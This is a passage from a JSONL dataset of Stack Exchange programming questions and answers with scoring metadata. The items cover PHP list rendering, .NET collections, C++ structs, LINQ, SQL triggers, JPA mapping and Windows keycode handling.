$value;\n            $prev = $key;\n        }\n    }\n    return \"$ulSpace<$type>\\n$liSpace<li>\\n$subSpace\" . implode(\"\\n$liSpace</li>\\n$liSpace<li>\\n$subSpace\", $output) . \"\\n$liSpace</li>\\n$ulSpace</$type>\";\n}\n\necho array_to_list(array('gg', 'dsf', array(array('uhu'), 'df', array('sdf')), 'sdfsd', 'sdfd')) . \"\\n\";\n```\n```\nproduces\n```\n```\n<ul>\n   <li>\n      gg\n   </li>\n   <li>\n      dsf\n      <ul>\n         <li>\n\n            <ul>\n               <li>\n                  uhu\n               </li>\n            </ul>\n         </li>\n         <li>\n            df\n            <ul>\n               <li>\n                  sdf\n               </li>\n            </ul>\n         </li>\n      </ul>\n   </li>\n   <li>\n      sdfsd\n   </li>\n   <li>\n      sdfd\n   </li>\n</ul>\n```\n```\nI know theres a little gap there if a sub list don't start with an explanation.\nPersonally I usually don't really care how the HTML looks as long as its easy to work with in PHP.\nEdit: OK, it works if you run it through this first ... :P\n```\n```\nfunction flat_array_to_hierarchical_array(array &$array, $depth = 0, $name = null, $toDepth = 0)\n{\n    if ($depth == 0) {\n        $temp = $array;\n        $array = array_values($array);\n    }\n    if (($name !== null) && ($depth == $toDepth)) {\n        $output[] = $name;\n    } else if ($depth < $toDepth) {\n        $output[] = flat_array_to_hierarchical_array(&$array, $depth + 1, $name, $toDepth);\n    }\n    while ($item = array_shift($array)) {\n        $newDepth = $item['depth'];\n        $name = $item['name'];\n        if ($depth == $newDepth) {\n            $output[] = $name;\n        } else if ($depth < $newDepth) {\n            $output[] = flat_array_to_hierarchical_array(&$array, $depth + 1, $name, $newDepth);\n        } else {\n            array_unshift($array, $item);\n            return $output;\n        }\n    }\n    $array = $temp;\n    return $output;\n}\n\n$arr = flat_array_to_hierarchical_array($nested_array);\necho array_to_list($arr);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.026628"}
{"id": "hf_13d116212a1c", "question": "<p>We're trying to decide between having all the devs on a particular team to use an absolute path for their code base or if relative paths are fine.</p>\n\n<p>One reason I can think for an absolute path, meaning everyone has the same path, is because of IIS and functional tests.  Our asp.net functional test use Nunit and WatiN to fire up IE and go through various scenarios.  To have these run stand alone from the Nunit GUI, I have to check if Cassini is running and if not, start it.  It requires passing in the physical path.  So, only people using that particular path can run the functional tests this way.  </p>\n\n<p>Are there any deal breakers that argue for an absolute (common) path?</p>\n", "question_body": "", "answer": "I too was faced with the situation where the dev server required an absolute path to launch. It was also for unit testing. After spending a couple of days dwelling on the issue, I decided to refactor as much as possible to make testing work without requiring the actual ASP.NET pages to be served. This meant abandoning automated UI testing of some packaged server controls, but in the end, I never found a good solution.\nAbsolute paths are one of the worst things I've ever encountered in almost any environment. They're a timebomb waiting to happen.\nThat said, I've often had an application that required an absolute UNC path as a \"drop\" location for uploaded files (when hosted in a web farm). I found it acceptable, in the end, for lack of a better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.065740"}
{"id": "hf_fe28c9d82e5d", "question": "<p>In .NET is it possible to convert a raw HTTP request to HTTPWebRequest object?</p>\n\n<p>I'm sure .NET internally doing it. Any idea which part of the .NET is actually handling this? Can I call it or is there any external library which allows raw HTTP connections?</p>\n", "question_body": "", "answer": "I dont believe there is an exposed method to do this. You may have to find or write a parser to break the request up and then write your own class that extends HttpWebRequest.\nHere is what looks like a parser from CodeProject:\nhttp://www.codeproject.com/KB/IP/CSHTTPServer.aspx\nI looked at the rotor code for the HttpWebRequest (briefly) and I did not see anything that stood out as a silver bullet. Here is the link to the file:\nhttp://www.123aspx.com/Rotor/RotorSrc.aspx?rot=40844\nAll of the rotor code is here for browsing online:\nhttp://www.123aspx.com/Rotor/default.aspx\nAnd here you can download it:\nhttp://www.microsoft.com/downloads/details.aspx?FamilyId=8C09FD61-3F26-4555-AE17-3121B4F51D4D&displaylang=en\nI know a bunch of links doesn't really answer your question, but I don't think the functionality that you are looking for is exposed in the framework. I would love to be proven wrong, so please update the post if you find a good way of doing it. I know tools out there must do it, anything written in .Net that logs raw requests and then lets you resubmit them is doing something similar. I believe\nfiddler\n(\nhttp://www.fiddler2.com\n) is written in .Net, you may want to shoot an email over to those guys and see if they can help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.104119"}
{"id": "hf_b0e69b13a757", "question": "<p>I've got a structure as follows:</p>\n\n<pre><code>typedef struct\n{\n    std::wstring DevAgentVersion;\n    std::wstring SerialNumber;\n\n} DeviceInfo;\n</code></pre>\n\n<p>But when I try to use it I get all sorts of memory allocation errors.</p>\n\n<p>If I try to pass it into a function like this:</p>\n\n<pre><code>GetDeviceInfo(DeviceInfo *info);\n</code></pre>\n\n<p>I will get a runtime check error complaining that I didn't initialize it before using it, which I seemed to have fixed with:</p>\n\n<pre><code>DeviceInfo *info = (DeviceInfo*)malloc(sizeof(DeviceInfo));\n</code></pre>\n\n<p>But then, in the function, when I try to set either of the structures stings, it complains that I'm trying to access a bad pointer when trying to set a value to the string.</p>\n\n<p>What is the best way to initialize this structure (and all of it's internal strings?</p>\n", "question_body": "", "answer": "You should use\n```\nnew\n```\ninstead of\n```\nmalloc\n```\n, to assure the constructor gets called for the\n```\nDeviceInfo\n```\nand its contained\n```\nwstring\n```\ns.\n```\n```\nDeviceInfo *info = new DeviceInfo;\n```\n```\nIn general, it's best to avoid using\n```\nmalloc\n```\nin C++.\nAlso, make sure to\n```\ndelete\n```\nthe pointer when you're done using it.\nEdit: Of course if you only need\n```\ninfo\n```\nin the local scope, you shouldn't allocate it on the heap. Just do this instead:\n```\n```\nDeviceInfo info; // constructed on the stack\nGetDeviceInfo( &info ); // pass the address of the info\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.129345"}
{"id": "hf_7d5eb6a17646", "question": "<p>We are developing in an embedded type environment and find ourselves needing to create our own UI framework.</p>\n\n<p>I have done this before, but I am interested in doing a little bit of research around common design patterns for frameworks.</p>\n\n<p>Types of things that I am thinking of as patterns (somewhat far reaching):</p>\n\n<ul>\n<li>Widget Focus / defocus </li>\n<li>Widget Animation </li>\n<li>Data sharing between elements</li>\n<li>Attaching commands to widgets</li>\n<li>Saving state (MVC?)</li>\n</ul>\n\n<p>What recommended reading do you have for GUI Framework patterns?</p>\n", "question_body": "", "answer": "I have two for you, the callback or notification, maybe this is what you call \"attaching commands to widgets\", somehow you want to react to changes in state in your UI element. The controller needs to be informed that a change has occured.\nCocoa/UIKit has a pattern that is called \"Delegation\" and notifications to accomplish this, others use callback functions or objects (Java Swing) or  \"signals and slots\" (QT).\nI very useful pattern that does not occur in the wild very often is the ability to\nprevent\na state change, the easiest use case for this is input validation, you want to prevent the loss of focus from a widget when the text in the widget does not concur with what you would expect. Windows Forms used to have that on some elements, not all, Cocoa can do this. This can be accomplished by using return values or reference parameters (or pointers) in the callbacks where the callee can communicate back to the originating widget\nThese days applying styles to ui elements, i.e. changing the look without changing the functionality has also become very popular QT can do this and I am sure a lot of other libraries\nThe Gang of Four Decorator pattern is also used sometimes for enhancing the capabilities of a widget, making something scrollable could be done via a decorator. It all depends on how far you will need to go with your UI elements. Good Luck, it is not an easy task\nEDT: Apply MVC wherever you can. The first candidates are any kind of list displays, don't make them responsible for keeping the items they are displaying. This definitely goes for the combo box, a list box, tables and trees, you could implement this for text inputs but that might not be worth the overhead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.154393"}
{"id": "hf_601712dc9ee3", "question": "<p>I am using SQL Advantage and need to know what the SQL is to identify the triggers associated with a table.  I don't have the option to use another tool so the good old fashioned SQL solution is the ideal answer.</p>\n", "question_body": "", "answer": "```\nselect *\nfrom sysobjects\nwhere type = 'TR'\n```\nTaken from\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.179743"}
{"id": "hf_5100dc8ef832", "question": "<p>Is it possible to create and initialise a <a href=\"http://msdn.microsoft.com/en-us/library/6918612z(VS.80).aspx\" rel=\"noreferrer\"><code>System.Collections.Generic.Dictionary</code></a> object with String key/value pairs in one statement?</p>\n\n<p>I'm thinking along the lines of the constructor for an array of Strings..</p>\n\n<p>e.g.</p>\n\n<pre><code>Private mStringArray As String() = {\"String1\", \"String2\", \"etc\"}\n</code></pre>\n\n<p>In case this is turns out to be a <a href=\"http://en.wikipedia.org/wiki/Syntactic_sugar\" rel=\"noreferrer\">syntactic sugar</a> kind of thing, I'd prefer an answer that I can use in .Net 2.0 (Visual Studio 2005), and Visual Basic - though I'm curious if it's possible at all so don't let that put you off ;o)</p>\n", "question_body": "", "answer": "Try this syntax:\n```\n```\nDictionary<string, double> dict = new Dictionary<string, double>()\n{\n  { \"pi\", 3.14},\n  { \"e\", 2.71 }\n };\n```\n```\nBut that may require C# 3 (.NET 3.5)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.204880"}
{"id": "hf_4a77d54a32be", "question": "<p>I want to pass in the tType of a class to a function, and the class object to a generic function.</p>\n\n<p>I need to be able to cast to that Type (of class) so I can access the class's methods.</p>\n\n<p>Something like:</p>\n\n<pre><code>void GenericFunction(Object obj, Type type)\n{\n    (type)obj.someContainer.Add(1);\n}\n</code></pre>\n\n<p>Would implementing an interface for these classes and then casting to that interface work?\nIf so, could someone give an example?</p>\n\n<p>I've been Googling for the past few hours, and I've never had to do this before.</p>\n\n<p>Can someone shed some light?</p>\n", "question_body": "", "answer": "Can you use generics in your method call? Something like:\n```\n```\nvoid GenericFunction<T>(Object obj)\n  where T : class {\n  obj.someContainer.Add(1) as T;\n}\n```\n```\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.229763"}
{"id": "hf_08b53ce23e48", "question": "<p>there was a somewhat detailed thread (228684) on how to globally (using extern struct) declare a structure that could be seen in more than 1 c++ file, but I can not figure out exactly how to do it (there was a lot of discussion about do this, do that, maybe do this, try this, etc...). </p>\n\n<p>couuld someone please post a very simple example of how to declare a structure that could be seen in 2 separate c++ files?  If I put all my functions in the same file as the main it works fine, but when I try to split the functions out in different files I cannot get it to compile. </p>\n\n<p>Things I am unclear on...\nShould I typedef the structure?\nDo I define the structure in a header file and include that header in each c++ source file?\nDo I need the #ifndef macro in the header file?\nDo I declare the structure extern in the header?</p>\n", "question_body": "", "answer": "It's called a header file.\nin your header file (call it foo.h)\n```\n```\n#ifndef FOO_H\n#define FOO_H\nclass X {\n};\n#endif\n```\n```\nThen, in any C files you have\n```\n```\n#include \"foo.h\"\nX x;\n```\n```\nFor C++ it's more common/preferred to use class, but you can use struct as well.  The extern keyword generally refers to variables, not class/struct declarations.  You would make a global variable extern in a header file (then declare it not-extern) in one of your .cpp files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.291727"}
{"id": "hf_3919fc1590d3", "question": "<p>I have a collection of collections, all the child collections have the same number of elements. The parent collection does nothing other than hold the child collections.</p>\n\n<pre><code>[0] [Child_0] [ID: 1]\n[0] [Child_0] [Amount: 4]\n[0] [Child_1] [ID: 2]\n[0] [Child_1] [Amount: 7]\n[1] [Child_0] [ID: 1]\n[1] [Child_0] [Amount: 2]\n[1] [Child_1] [ID: 2]\n[1] [Child_1] [Amount: 4]\n[2] [Child_0] [ID: 1]\n[2] [Child_0] [Amount: 5]\n[2] [Child_1] [ID: 2]\n[2] [Child_1] [Amount: 3]\n</code></pre>\n\n<p>For my output I don't care about the parent collection. I just want an anonymous type of ID and average of amounts, so for the above it would be</p>\n\n<pre><code>ID     Avg\n1      3.66\n2      4.66\n</code></pre>\n\n<p>Language of the response does not matter.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "you may be able to us this as a guide\n```\n```\nvar items = new[] \n        { \n            new { ID = 1, Amount = 4 }, \n            new { ID = 1, Amount = 5 },\n            new { ID = 2, Amount = 5 },\n            new { ID = 2, Amount = 3 },\n        };\n\n        var results = from item in items group item by item.ID into g select new { ID = g.Key, Avg = g.Average(item => item.Amount) };\n\n        foreach (var result in results)\n        {\n            Console.WriteLine(\"{0} - {1}\", result.ID, result.Avg);\n        }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.316272"}
{"id": "hf_ea2aefbb2b73", "question": "<p>Is there a way to get drop_receiving_element to not generate \"// ..</p>\n", "question_body": "", "answer": "The code for the\n```\ndrop_receiving_element\n```\nis\n```\n```\ndef drop_receiving_element(element_id, options = {})\n  javascript_tag(drop_receiving_element_js(element_id, options).chop!)\nend\n```\n```\n```\njavascript_tag\n```\nis what adds the script tags, so it looks like you should just be able to leave those out, and enter this yourself.\n```\n```\ndrop_receiving_element_js(element_id, options).chop!\n```\n```\nNote: It might be a private method, in which case just use\n```\n```\nsend(:drop_receiving_element_js, element_id, options).chop!\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.353815"}
{"id": "hf_b3d9ef88d5e1", "question": "<p>I have a database that hold's a user's optional profile. In the profile I have strings, char (for M or F) and ints.</p>\n\n<p>I ran into an issue where I try to put the sex of the user into the property of my Profile object, and the application crashes because it doesn't know how to handle a returned null value.</p>\n\n<p>I've tried casting the data to the appropriate type </p>\n\n<pre><code>char sex = (char)dt.Rows[0][\"Sex\"];\n</code></pre>\n\n<p>Which didn't fix my problem. I then tried changing the types to Nullable and Nullable and get conversion issues all the same. My current solution that I was able to find is the following:</p>\n\n<pre><code>object.sex = null;  \nif(dt.Rows[0][\"Sex\"] != DBNull.Value)\n      object.sex = (char)dt.Rows[0][\"Sex\"];\nobject.WorkExt = null;\nif(dt.Rows[0][\"WorkExt\"] != DBNull.Value)\n      object.WorkExt = (int)dt.Rows[0][\"WorkExt\"];\n</code></pre>\n\n<p>Is there a simpler or better way to do this? Or am I pretty much on the right track?</p>\n", "question_body": "", "answer": "I would do it pretty much like you did. I would write a function for it:\nSomething that does:\n```\n```\nobject.sex = handle(dt.Rows[0][\"Sex\"]);\n```\n```\nAnd in handle you do the ==DBNull.Value check.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.404429"}
{"id": "hf_4ec4fad249e6", "question": "<p>Using MySQL syntax and having a table with a row like:</p>\n\n<pre><code>mydate DATETIME NULL,\n</code></pre>\n\n<p>Is there a way to do something like:</p>\n\n<pre><code>... WHERE mydate&lt;='2008-11-25';\n</code></pre>\n\n<p>I'm trying but not really getting it to work.</p>\n", "question_body": "", "answer": "Nevermind found an answer. Ty the same for anyone who was willing to reply.\n```\n```\nWHERE DATEDIFF(mydata,'2008-11-20') >=0;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.429136"}
{"id": "hf_2a811869b18b", "question": "<p>I am creating a jQuery plugin.</p>\n\n<p>How do I get the real image width and height with Javascript in Safari?</p>\n\n<p>The following works with Firefox 3, IE7 and Opera 9:</p>\n\n<pre><code>var pic = $(\"img\")\n\n// need to remove these in of case img-element has set width and height\npic.removeAttr(\"width\"); \npic.removeAttr(\"height\");\n\nvar pic_real_width = pic.width();\nvar pic_real_height = pic.height();\n</code></pre>\n\n<p>But in Webkit browsers like Safari and Google Chrome values are 0.</p>\n", "question_body": "", "answer": "this works for me (safari 3.2), by firing from within the\n```\nwindow.onload\n```\nevent:\n```\n```\n$(window).load(function() {\n  var pic = $('img');\n\n  pic.removeAttr(\"width\"); \n  pic.removeAttr(\"height\");\n\n  alert( pic.width() );\n  alert( pic.height() );\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.503265"}
{"id": "hf_38490cbb1a3e", "question": "<p>I am new with Linq and I would like to sort some data that are in the BindingList. Once I did my Linq query, I need to use back the BindingList collection to bind my data.</p>\n\n<pre><code> var orderedList = //Here is linq query\n return (BindingList&lt;MyObject&gt;)orderedList;\n</code></pre>\n\n<p>This compiled but fails in execution, what is the trick?</p>\n", "question_body": "", "answer": "```\n```\nnew BindingList<MyObject>(orderedList.ToList())\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.539381"}
{"id": "hf_6ab764289cab", "question": "<p>We have a server (written in C and C++) that currently catches a SEGV and dumps some internal info to a file. I would like to generate a core file and write it to disk at the time we catch the SEGV, so our support reps and customers don't have to fuss with ulimit and then wait for the crash to happen again in order to get a core file. We have used the abort function in the past, but it is subject to the ulimit rules and doesn't help.</p>\n\n<p>We have some legacy code that reads /proc/pid/map and manually generates a core file, but it is out of date, and doesn't seem very portable (for example, I'm guessing it would not work in our 64 bit builds). What is the best way to generate and dump a core file in a Linux process?</p>\n", "question_body": "", "answer": "Some possible solutions^W ways of dealing with this situation:\nFix the ulimit!!!\nAccept that you don't get a core file and run inside gdb, scripted to do a \"thread all apply bt\" on SIGSEGV\nAccept that you don't get a core file and acquired a stack trace from within the application. The\nStack Backtracing Inside Your Program\narticle is pretty old but it should be possible these days too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.563590"}
{"id": "hf_981c688b6934", "question": "<p>I recently watched <a href=\"http://www.youtube.com/watch?v=hp1Y9bhail8\" rel=\"nofollow noreferrer\">this youtube tutorial</a> on the Null Object design pattern. Even though there were some errors in it: such as the NullCar that doesn't do anything creates an infinite loop, the concept was well explained. My question is, what do you do when the objects that can be null have getters, and are used in your code? How do you know which value to return by default? Or should I implement this pattern inside all the objects? What if I need to return strings or primitives? I'm talking from a Java perspective.</p>\n\n<p><strong>EDIT</strong>: won't I be trading null objects testing for default value testing ? If not , why not ? </p>\n", "question_body": "", "answer": "As far as I've understood it the idea is that the null object's value is as close to \"nothing\" as possible. That unfortunately means you have to define it yourself. As an example I personally use \"\" when I can't pass a null String, null object number for me is -1 (mostly because by default most database sequences start at 1 and we use those for item id:s a lot so -1 is dead giveaway it's a null object), with lists/maps/sets it's\n```\nCollections.EMPTY_SET\n```\n,\n```\nEMPTY_MAP\n```\nor\n```\nEMPTY_LIST\n```\nand so on and so forth. If I have custom class I have to create a null object from, I remove all actual data from it and see where that takes me and then apply what I just mentioned until it's \"empty\".\nSo you really don't \"know\" which value to return by default, you just have to decide it by yourself.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.601067"}
{"id": "hf_637b95cfadda", "question": "<p>I am using C# 3.0 / .NET 3.5 and planning to build an eCommerce website.</p>\n\n<p>I've seen NHibernate, LLBLGEN, Genome, Linq to SQL, Entity Framework, SubSonic, etc.</p>\n\n<p>I don't want to code everything by hand. If there is some specific bottleneck I'll manage to optimize the database/code.</p>\n\n<p>Which ORM would be best? There is so much available those day that I don't even know where to start. </p>\n\n<p>Which feature(s) should I be using?</p>\n\n<p>Links, Screencast and Documentation are welcome.</p>\n", "question_body": "", "answer": "I can only really speak for LINQ-SQL and can say that it is:\nEasy to use\nQuick to get you up and running\nGood for simple schemas and object models\nbut it starts to fall down if:\nYou're using a disconnected (tiered) architecture because its datacontexts require the same object instances to perform tracking and concurrency (though there are ways around this).\nYou have a complex object model / database\nPlus it has some other niggles and strange behaviour\nI'm looking to try EF next myself and MS seem to be quietly dropping LINQ-SQL in favour of EF, which isn't exactly a ringing recommendation of LINQ-SQL :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.625386"}
{"id": "hf_c311e493c79f", "question": "<p>Let's say I create a website like StackOverFlow and decide to use OpenID. What's to prevent me, or anyone else for that matter, from phishing the ID's? That is, how can you truly know that any website is using OpenID and not pretending to? And how do you protect myself against this?</p>\n\n<p>Expanding on this, let's say one site did compromise your openID credentials, couldn't they use it on every other site using openID (a global password hack)? Wouldn't then the security of your openID then only be as strong as the weakest website/provider? </p>\n", "question_body": "", "answer": "All you enter is the ID, no password. The ID is public, therefore \"phishing\" it is not a security hole. Some providers even use the same ID for all users, for instance the ID for a google account is always\n```\nhttps://www.google.com/accounts/o8/id\n```\n. See the\nWikipedia article\nfor a more detailed explanation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.694788"}
{"id": "hf_33bfdc7ab194", "question": "<p>I have one java program that has to be compiled as 1.4, and another program that could be anything (so, 1.4 or 1.6), and the two need to pass serialized objects back and forth. If I define a serializable class in a place where both programs can see it, will java's serialization still work, or do I need 1.6-1.6 or 1.4-1.4 only?</p>\n", "question_body": "", "answer": "Make sure the classes to be serialized define and assign a value to\n```\nstatic final long serialVersionUID\n```\nand you should be ok.\nThat said, normally I would not do this.  My preference is to only use normal serialization either within a single process, or between two processes are on the same machine and getting the serialized classes out of the same jar file.  If that's not the case, serializing to XML is the better and safer choice.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.755449"}
{"id": "hf_8dab156be85b", "question": "<p>Does anyone know of a good tool that converts .pst to .csv files through command line?  </p>\n", "question_body": "", "answer": "one time only? or programmatically?\nif one time only, import into a mail program that handles mbox (e.g. Thunderbird), at which point you just have text files, manipulate as desired.\notherwise, no idea, best of luck.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.805020"}
{"id": "hf_ffa38c7016f1", "question": "<p>I was using jQuery plugins to create a rounded corner for my <code>&lt;li&gt;</code>, but it was not working on a lot of browsers and didn't support mouse over.</p>\n\n<p>I am wondering what is the best way to use two images (left corner and right corner) as the left and right side with using <code>&lt;li&gt;</code>.</p>\n", "question_body": "", "answer": "You could put Divs inside your li's like so:\n```\n```\n<li>\n  <div class=\"lefcorner\"></div>\n  <div class='liContent'>Foo</div>\n  <div class='rightcorner'></div>\n</li>\n```\n```\nThat way you will both keep your semantics and will also have the cross-browser support of styling DIVs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.842562"}
{"id": "hf_efe84b538a25", "question": "<p>Lets say you have a:</p>\n\n<pre><code>List&lt;string&gt; los = new List&lt;string&gt;();\n</code></pre>\n\n<p>In this crazy functional world we live in these days which one of these would be best for creating one string by concatenating these:</p>\n\n<pre><code>String.Join(String.Empty, los.ToArray());\n\nStringBuilder builder = new StringBuilder();\nlos.ForEach(s =&gt; builder.Append(s));\n\nstring disp = los.Aggregate&lt;string&gt;((a, b) =&gt; a + b);\n</code></pre>\n\n<p>or Plain old StringBuilder foreach</p>\n\n<p>OR is there a better way?</p>\n", "question_body": "", "answer": "I would go with option A:\n```\n```\nString.Join(String.Empty, los.ToArray());\n```\n```\nMy reasoning is because the Join method was written for that purpose. In fact if you look at Reflector, you'll see that unsafe code was used to really optimize it. The other two also WORK, but I think the Join function was written for this purpose, and I would guess, the most efficient. I could be wrong though...\nAs per @Nuri YILMAZ without\n```\n.ToArray()\n```\n, but this is .NET 4+:\n```\n```\nString.Join(String.Empty, los);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.867720"}
{"id": "hf_e2204dcf1c64", "question": "<p>I have following POJOs:</p>\n\n<pre><code>class Month {\n    long id;\n    String description;\n    List&lt;Day&gt; days; // always contains 29, 30 or 31 elements\n}\n\nclass Day {\n    byte nr; // possible values are 1-31\n    String info;\n}\n</code></pre>\n\n<p>Is there a way to store these objects into following DB structure using JPA+Hibernate:</p>\n\n<p>Table MONTHS:</p>\n\n<pre>id;description;</pre>\n\n<p>Table DAYS:</p>\n\n<pre>id-of-month;nr-of-day;info;</pre>\n\n<p>Any better solution for this situation?</p>\n", "question_body": "", "answer": "Here is one solution I found:\n```\n```\nclass Month {\n    long id;\n    String description;\n\n    @CollectionOfElements(fetch = FetchType.EAGER)\n    @IndexColumn(name = \"nr-of-day\")\n    List<Day> days; // always contains 29, 30 or 31 elements\n}\n\n@Embeddable\nclass Day {\n    byte nr; // possible values are 1-31\n    String info;\n}\n```\n```\n@CollectionOfelements and @IndexColumn are Hibernate annotations. If I use @OneToMany annotation available in JPA, hibernate creates 3 tables instead of 2.\nMy only problem now is that Day.nr is saved twice: first as IndexColumn of the List (0-based counter) and second time as field of class Day (1-based counter).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:32:37.930792"}
{"id": "hf_ac5fe0221f23", "question": "<p>I am trying to map a virtual keycode to a char.</p>\n\n<p>My code uses ProcessCmdKey to listen to WM_KEYDOWN which gives me access to the key pressed. For example, when I press single quote I get a key of 222 which I want to have it mapped to keychar 39 which represents... you guessed it... single quote.</p>\n\n<p>My dev context is:\n- .net Framework 2.0\n- UserControl placed in a lot of places</p>\n\n<p>Do you know the answer to the question?</p>\n", "question_body": "", "answer": "Yes, I did use the\n```\nMapVirtualKey\n```\nmethod. But I was expecting more details on how to use it: what\n```\nDllImport\n```\ndirective to use, what\n```\nenum\n```\nis specific for mapping to characters, etc.\nI don't like these answers where you google for like 5 seconds and then just suggest a solution: the real challenge is to put all the pieces together and not have to waste your time with tons of sample-less MSDN pages or other coding forums in order to get your answer. No offense plinth, but your answer (even good) was worhtless since I had this answer even before posting my question on the forum!\nSo there you  go, I am going to post what I was looking for - an out-of-the-box C# solution:\n1- Place this directive inside your class:\n```\n```\n[DllImport(\"user32.dll\")]\nstatic extern int MapVirtualKey(uint uCode, uint uMapType);\n```\n```\n2- Retrieve your char like this:\n```\n```\nprotected override bool ProcessCmdKey(ref Message msg, Keys keyData)      \n  {\n     const int WM_KEYDOWN = 0x100;\n\n     if (msg.Msg == WM_KEYDOWN)\n     {            \n        // 2 is used to translate into an unshifted character value \n        int nonVirtualKey = MapVirtualKey((uint)keyData, 2);\n\n        char mappedChar = Convert.ToChar(nonVirtualKey);\n     }\n\n     return base.ProcessCmdKey(ref msg, keyData);\n  }\n```\n```\nThanks for caring... and enjoy!", "tags": [], 